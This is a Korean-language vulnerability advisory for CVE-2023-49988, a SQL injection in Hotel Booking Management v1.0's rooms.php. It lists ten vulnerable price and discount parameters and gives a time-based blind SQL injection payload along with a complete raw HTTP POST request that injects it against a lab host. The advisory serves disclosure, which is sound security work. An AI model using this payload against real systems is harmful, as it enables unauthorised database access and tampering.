geraldoalcantara/cve-2023-49988호텔 예약 관리 v1.0 - rooms.php의 "npss" 매개변수에서의 SQL Injection Vulnerability
설명: Hotel Booking Management 버전 1에 SQL 인젝션 취약점이 존재합니다. 악의적인 공격자는 취약한 매개변수 npss, dpss, npsd, dpsd, npds, dpds, npdd, dpdd, npdst 또는 dpdst를 통해 숙박 옵션의 가격 및 할인을 수정할 때 MySQL 데이터베이스에 SQL 명령을 실행할 수 있습니다.
취약한 제품 버전: Hotel Booking Management v1.0 CVE 작성자: Geraldo Alcântara 날짜: 2023-11-28 확인일: 2023-12-19 CVE: CVE-2023-49988 테스트 환경: Windows
이 취약점을 악용하기 위해 공격자는 /HotelBookingManagement-main/rooms.php로 이동할 수 있습니다. 숙박 옵션의 가격 및 할인을 수정할 때 npss, dpss, npsd, dpsd, npds, dpds, npdd, dpdd, npdst 또는 dpdst와 같은 매개변수에 SQL 페이로드를 주입함으로써 공격자는 시스템을 손상시킬 수 있습니다.
페이로드: (select*from(select(sleep(5)))a)
POST /HotelBookingManagement-main/rooms.php HTTP/1.1
Host: 192.168.68.148
Content-Length: 127
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.68.148
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.68.148/HotelBookingManagement-main/rooms.php
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=aih2rvevdrpegiqt8nlstav7am
Connection: close
npss=(select*from(select(sleep(5)))a)&dpss=2&npsd=800&dpsd=2&npds=1100&dpds=3&npdd=1500&dpdd=4&npdst=2000&dpdst=13&updateRooms=
발견자/크레딧: Geraldo Alcântara